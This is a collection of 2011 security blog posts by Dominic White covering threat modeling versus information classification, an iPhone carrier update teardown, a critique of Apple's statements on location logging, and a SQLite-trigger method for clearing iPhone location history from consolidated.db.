In future, I hope to add more "good" policies (a few of the SANS policies aren't wonderful), and also look into expanding into security standards (ala CIS Security) in the future. If necessary, take this to a consultancy, and ask them to spend some time making these specific to your organisation and way of doing things, but please, if you aren't getting the basics right, don't focus on these. In the meantime, if you're looking for information security policies to go away, so you can get on with the bigger problems organisations, and our industry in general are facing, then this should be a useful tool.

Threat Modeling vs Information Classification

nospam@example.com (Dominic White) — Thu, 09 Jun 2011 15:24:50 +0200

This was originally posted on the SensePost blog.

Over the last few years there has been a popular meme talking about information centric security as a new paradigm over vulnerability centric security. I've long struggled with the idea of information-centricity being successful, and in replying to a post by Rob Bainbridge, quickly jotted some of those problems down.

In pre-summary, I'm still sceptical of information-classification approaches (or information-led control implementations) as I feel they target a theoretically sensible idea, but not a practically sensible one.

Information gets stored in information containers (to borrow a phrase from Octave) such as the databases or file servers. This will need to inherit a classification based on the information it stores. That's easy if it's a single purpose DB, but what about a SQL cluster (used to reduce processor licenses) or even end-user machines? These should be moved up the classification chain because they may store some sensitive info, even if they spend the majority of the time pushing not-very-sensitive info around. In the end, the hoped-for cost-saving-and-focus-inducing prioritisation doesn't occur and you end up having to deploy a significantly higher level of security to most systems. Potentially, you could radically re-engineer your business to segregate data into separate networks such as some PCI de-scoping approaches suggest, but, apart from being a difficult job, this tends to counter many of the business benefits of data and system integrations that lead to the cross-pollination in the first place.

Next up, I feel this fails to take cognisance of what we call "pivoting"; the escalation of privileges by moving from one system or part of a system to another. I've seen situations when the low criticality network monitoring box is what ends up handing out the domain administrator password. It had never been part of internal/external audits scope, none of the vulns showed up on your average scanner, it had no sensitive info etc. Rather, I think we need to look at physical, network and trust segregation between systems, and then data. It would be nice to go data-first, but DRM isn't mature (read simple & widespread) enough to provide us with those controls.

Lastly, I feel information-led approaches often end up missing the value of raw functionality. For example, a critical trade execution system at an investment bank could have very little sensitive data stored on it, but the functionality it provides (i.e. being able to execute trades using that bank's secret sauce) is hugely sensitive and needs to be considered in any prioritisation.

I'm not saying I have the answers, but we've spent a lot of time thinking about how to model how our analysts attack systems and whether we could "guess" the results of multiple pentests across the organisation systematically, based on the inherent design of your network, systems and authentication. The idea is to use that model to drive prioritisation, or at least a testing plan. This is probably closer aligned to the idea of a threat-centric approach to security, and suffers from a lack of data in this area (I've started some preliminary work on incorporating VERIS metrics).

In summary, I think information-centric security fails in three ways; by providing limited prioritiation due to the high number of shared information containers in IT environments, by not incorporating how attackers move through a networks and by ignoring business critical functionality.

Vodacom ZA iPhone Carrier Update

nospam@example.com (Dominic White) — Tue, 07 Jun 2011 10:05:23 +0200

Yesterday I got sent a carrier update on my iPhone. I was interested in what this does, so pulled it apart, this is the list of changes it made. This is pretty uninteresting and just an excuse for me to understand carrier updated.

Apple has a post on carrier updated here, which specifies the locations the files are downloaded to your machine. They have a ".ipcc" extension, but file shows them to be simple ZIP files. Unlike firmware updates, iTunes does not delete the old version on download of a new one, so it's easy to compare them. You can unzip them, then you'll need to use plutil to convert the .plist files from binary form to XML with the command: plutil -convert xml1 <filename>.plist . After that, a simple diff -u showed the changes with context. This were helpfully explained by the iPhone Wiki's breakdown of the attributes. The relevant changes were:

The maximum number of Bluetooth modem tethering connections has been set to 5
Facetime registration SMS'es will not require an opt-in due to cost
A roaming voicemail number has been explicitly set (an UK number)
A new "blank" APN was added. I have no idea what this is for, and it doesn't seem to appear on the actual phone as an option.
Some carrier pictures have been updated

Apple's PR on Location Data

nospam@example.com (Dominic White) — Thu, 28 Apr 2011 06:37:02 +0200

Apple responded to the location logging stuff with a Q&A aimed at dispelling some of they myths all the hype has created. The only problem is, they try to dispel some of the facts too.

1. Why is Apple tracking the location of my iPhone?
Apple is not tracking the location of your iPhone. Apple has never done so and has no plans to ever do so.

3. Why is my iPhone logging my location?
The iPhone is not logging your location. Rather, it’s maintaining a database of Wi-Fi hotspots and cell towers around your current location, some of which may be located more than one hundred miles away from your iPhone, to help your iPhone rapidly and accurately calculate its location when requested. Calculating a phone’s location using just GPS satellite data can take up to several minutes. iPhone can reduce this time to just a few seconds by using Wi-Fi hotspot and cell tower data to quickly find GPS satellites, and even triangulate its location using just Wi-Fi hotspot and cell tower data when GPS is not available (such as indoors or in basements). These calculations are performed live on the iPhone using a crowd-sourced database of Wi-Fi hotspot and cell tower data that is generated by tens of millions of iPhones sending the geo-tagged locations of nearby Wi-Fi hotspots and cell towers in an anonymous and encrypted form to Apple.

4. Is this crowd-sourced database stored on the iPhone?
The entire crowd-sourced database is too big to store on an iPhone, so we download an appropriate subset (cache) onto each iPhone. This cache is protected but not encrypted, and is backed up in iTunes whenever you back up your iPhone. The backup is encrypted or not, depending on the user settings in iTunes. The location data that researchers are seeing on the iPhone is not the past or present location of the iPhone, but rather the locations of Wi-Fi hotspots and cell towers surrounding the iPhone’s location, which can be more than one hundred miles away from the iPhone. We plan to cease backing up this cache in a software update coming soon (see Software Update section below).

Their claim pretty explicitly states, that they aren't storing location data based on your actual position. The facts would appear to indicate otherwise (these are based on the copy of consolidated.db that was on my phone:

The tables "CellLocationHarvest" & "CellLocationLocal" store both "Speed" and "Course" entry (several others have these fields, but did not have any or valid data in them). Unless cell towers have a habit of moving about, this would appear to be logging *your speed & direction* and not just "tower data". Granted, the "CellLocation" table containing the most significant amount of data, did not have valid data in the speed fields.
The table names imply different uses for e.g. we'd expect CdmaCellLocation, CellLocation & WifiLocation tables to store the info they speak about above. But the "LocationHarvest" table not only stores valid speed & course fields, it also assigns a unique "Trip ID" e.g D47CA532-84C9-40CD-8BE6-B3895837DA3C. This looks like a unique identifier based on *your* movements, not those of the cell towers.
Even if this was downloading offline caches of cell towers & APs for assisted GPS, given this includes details as granular as my neighbours Wifi AP, this is still more than enough to track your actual location. We've seen large data sets with "unique anonymous" identifiers deanonymised many times.
The data is good enough for forensic investigators to use, here's a screenshot from a book on iOS forensics: "consolidated.db [snip] is potentially one of the most forensically rich files an analyst can use." It strikes me that if it's good enough to use in the courts, then the implications may be a bit wider than Apple claims.
And finally, further down the QA, Apple contradicts their statement of "The iPhone is not logging your location" by explaining that it is, and this will be used for traffic information. This explains the "LocationHarvest" table mentioned above.

8. What other location data is Apple collecting from the iPhone besides crowd-sourced Wi-Fi hotspot and cell tower data?
Apple is now collecting anonymous traffic data to build a crowd-sourced traffic database with the goal of providing iPhone users an improved traffic service in the next couple of years.

On the up side, they acknowledge at least one bug:

7. When I turn off Location Services, why does my iPhone sometimes continue updating its Wi-Fi and cell tower data from Apple’s crowd-sourced database?

It shouldn’t. This is a bug, which we plan to fix shortly (see Software Update section below).

I haven't seen what is actually transmitted to Apple, so can't comment on how much is uploaded or downloaded. However, I can attest to have seen the iPhone populate the file with tower & AP information when first populating it with data (123 cell towers, and 401 wifi APs). So that part is at least true.

In conclusion, I certainly don't think this is a serious threat, but this file does store rich location data that can be used by anyone with access to it to disclose a significant history of your movements. Apple has attempted to play that down, but for people to who the privacy of that data may be of critical importance (think protesters in Lybia or Egypt), they should take steps to protect themselves. Finally, it is also my belief, that based on the data in the file, if Apple has access to the same data, then there is enough information for them to uniquely identify both you, and your location history. They claim they aren't, but it just takes one breach for all of this data to end up somewhere we need to make different assumptions about, and I'd prefer that the location data Apple (and others, like my mobile service provider) collected without my consent, be deleted.

Blocking iPhone Tracking (consolidated.db) Solved

nospam@example.com (Dominic White) — Wed, 27 Apr 2011 00:43:32 +0200

After several days of trying all the different solutions proposed as the story has emerged, I think I've finally got a solution that is both usable (i.e. doesn't break anything) and permanent (i.e. apply once and let dry).

My original suggestion of rubbish values + read-only didn't work, untrackerd takes up valuable memory & battery and misses nearly all the worrying data & the SQL triggers file from Tehtri also missed some data and breaks some functionality (most notably the compass).

However, Tehtri's idea was the best. They proposed a set of SQL triggers that would reset the consolidated.db to a clean state and prevent it filling up with your location data. All this without requiring a persistent daemon or the need to re-apply the fix. I've edited their SQL (you can see the changes here, this is merely for those interested, don't run it) to reset consolidated.db to how it looks when locationd creates a blank new one, then modified the triggers to do the same (rather than just blank all the tables). I've also extended it to include some tables they had missed, and not delete some data it shouldn't (e.g. blanking TableVersions makes locationd unhappy, and it has no location data in it anyway) . Finally, I leave the last entry of the compass calibration (in the trigger too) so you don't have to constantly recalibrate your compass (every minute or so it was). I haven't found it break anything yet (even location via nearby wifi BSSID works without storing the values). Grab the final, clean version from here, and apply with the sqlite command:

sqlite3 consolidated.db '.read singe-iphone-privacy.sql'

There are three ways to do this:

On a jailbroken phone with sqlite3 installed, you can scp or wget the file to the device and do it there & then.
On a jailbroken phone, you can copy consolidated.db off, apply the patch, then copy it back.
On an unjailbroken (aka normal) phone, you can use the backup & restore method

If you're jailbroken, you can figure it out.

Update: The below instructions no longer work after iTune 9.2 implemented a new proprietary backup format. I'm hoping the documentation here will allow a quick update of the file hash & size to let the restore work, but until I or someone else has time. You'll need to be jailbroken to protect yourself.

For normal people, follow these instructions:

Plug in your iPhone and let iTunes make a backup. Make sure the backup isn't encrypted, we'll do that later.
Go to your backups directory. On OSX it will be in /Users/<username>/Library/Application Support/MobileSync/Backup/ In Win7 it will be in \Users\<username>\AppData\Roaming\Apple Computer\MobileSync\Backup\ other windows locations are listed here. It will contain several randomly named directories, change into the one with the latest timestamp (sort by last-modified date) to work on your last backup.
Get hold of the iphonels.py file. Either by copy pasting from the original here, or just downloading this one.
Look for the randomly named file that maps to consolidated.db by running the iphone-ls.py and grepping for "consolidated" e.g.: ./iphone-ls.py | grep consolidated. It will look something like '3086b93ce76d2847dc283405811e284a7c815839'. If you're on Windows, you'll need to install python.
The value in brackets is the name of the file as it is stored in the backup folder. This name will be consistent across all your backups.
Apply the SQLite modifications from here to the file, either use the sqlite3 command line utility e.g. sqlite3 3086b93ce76d2847dc283405811e284a7c815839 '.read singe-iphone-privacy.sql', or use your favourite GUI.
Overwrite all copies of consolidated.db in each backup directory with the new version. This is easy to do as the random file name is consistent across backups, so just copy the new file into each backup directory.
Next, plug in your phone, and restore your backup. Remember to re-encrypt your backups.

Update 1: Restoring to a non-jailbroken phone doesn't work. Updated the .sql with the 'vacuum' command to flush out old data (thanks Istvan).